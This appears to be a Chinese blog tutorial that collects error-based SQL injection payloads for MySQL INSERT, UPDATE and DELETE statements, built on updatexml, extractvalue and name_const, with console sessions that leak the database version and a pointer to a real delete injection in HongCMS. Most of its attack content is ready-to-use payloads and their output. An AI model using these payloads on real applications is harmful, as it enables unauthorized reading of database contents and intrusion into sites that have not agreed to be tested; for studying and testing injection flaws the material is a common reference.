insert、update和delete 注入方法

我們常見的注入都是select的查詢注入比較多,但是SQL注入在參數沒有檢查和過濾的時候就會把惡意的數據插入數據庫,從而造成SQL注入。

所有說除了查詢之外,所有和數據庫進行交互的請求都有可能造成注入。如:插入數據,更改數據,刪除數據等,所以現在根據網上的技巧彙總一下insert、update和delete的注入方法。

以下均爲報錯注入,測試數據庫版本5.7.21

利用內置函數updatexml、extractvalue或name_const

測試表如下:

一、使用updatexml()函數


UPDATEXML (XML_document, XPath_string, new_value); 
第一個參數:XML_document是String格式,爲XML文檔對象的名稱,文中爲Doc 
第二個參數:XPath_string (Xpath格式的字符串) ,如果不瞭解Xpath語法,可以在網上查找教程。 
第三個參數:new_value,String格式,替換查找到的符合條件的數據 
作用:改變文檔中符合條件的節點的值
改變XML_document中符合XPATH_string的值
而我們的注入語句爲:
updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
其中的concat()函數是將其連成一個字符串,因此不會符合XPATH_string的格式,從而出現格式錯誤,爆出
ERROR 1105 (HY000): XPATH syntax error: ':root@localhost'

payload:

or updatexml(1,concat(0x7e,(version())),0) or

 

測試 insert注入:

mysql> insert into info(name,age) values('wangwu'or updatexml(1,concat(0x7e,(version())),0) or'','22');
ERROR 1105 (HY000): XPATH syntax error: '~5.7.21'

測試update注入

mysql> update info set name='test'or updatexml(2,concat(0x7e,(version())),0) or'' where id =1;
ERROR 1105 (HY000): XPATH syntax error: '~5.7.21'
mysql> update info set name='test' where id =1 or updatexml(2,concat(0x7e,(version())),0);
ERROR 1105 (HY000): XPATH syntax error: '~5.7.21'

測試delete注入

mysql> delete from info where id=1 or updatexml(2,concat(0x7e,(version())),0);
ERROR 1105 (HY000): XPATH syntax error: '~5.7.21'

二、extractvalue()函數

extractvalue() :對XML文檔進行查詢的函數
其實就是相當於我們熟悉的HTML文件中用 <div><p><a>標籤查找元素一樣
語法:extractvalue(目標xml文檔,xml路徑)
第二個參數 xml中的位置是可操作的地方,xml文檔中查找字符位置是用 /xxx/xxx/xxx/…這種格式,如果我們寫入其他格式,就會報錯,並且會返回我們寫入的非法格式內容,而這個非法的內容就是我們想要查詢的內容。
正常查詢 第二個參數的位置格式 爲 /xxx/xx/xx/xx ,即使查詢不到也不會報錯

payload:

or extractvalue(1,concat(0x7e,database())) or

測試insert注入

mysql> insert into info(name,age) values('wangwu'or extractvalue(1,concat(0x7e,version())) or'','22');
ERROR 1105 (HY000): XPATH syntax error: '~5.7.21'

測試update注入:

mysql> update info set name='test' or extractvalue(1,concat(0x7e,version())) or'' where id =1;
ERROR 1105 (HY000): XPATH syntax error: '~5.7.21'
mysql> update info set name='test' where id =1 or extractvalue(1,concat(0x7e,version()));
ERROR 1105 (HY000): XPATH syntax error: '~5.7.21'

測試delete注入

mysql> delete from info where id=1 or extractvalue(1,concat(0x7e,version()));
ERROR 1105 (HY000): XPATH syntax error: '~5.7.21'

三、name_const()函數

name_const(name,value)
返回給定值。 當用來產生一個結果集合列時, name_const()促使該列使用給定名稱。

payload

or (SELECT*FROM(SELECT(name_const(version(),1)),name_const(version(),1))a) or

測試insert注入

mysql> insert into info(name,age) values('wangwu' or (SELECT*FROM(SELECT(name_const(version(),1)),name_const(version(),1))a) or'','22');
ERROR 1060 (42S21): Duplicate column name '5.7.21'

測試update注入

mysql> update info set name='test'or (SELECT*FROM(SELECT(name_const(version(),1)),name_const(version(),1))a) or'' where id =1;
ERROR 1060 (42S21): Duplicate column name '5.7.21'
mysql> update info set name='test' where id =1 or (SELECT*FROM(SELECT(name_const(version(),1)),name_const(version(),1))a);
ERROR 1060 (42S21): Duplicate column name '5.7.21'

測試delete注入

mysql> delete from info where id=1 or (SELECT*FROM(SELECT(name_const(version(),1)),name_const(version(),1))a);
ERROR 1060 (42S21): Duplicate column name '5.7.21'

參考鏈接:https://www.cnblogs.com/r00tgrok/p/3854754.html

實戰測試:

HongCMS後臺在清除表格的時候存在sql注入,即delete注入

詳情連接:https://www.freebuf.com/vuls/178316.html

使用updatexml payload

使用extractvalue

使用name_const

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章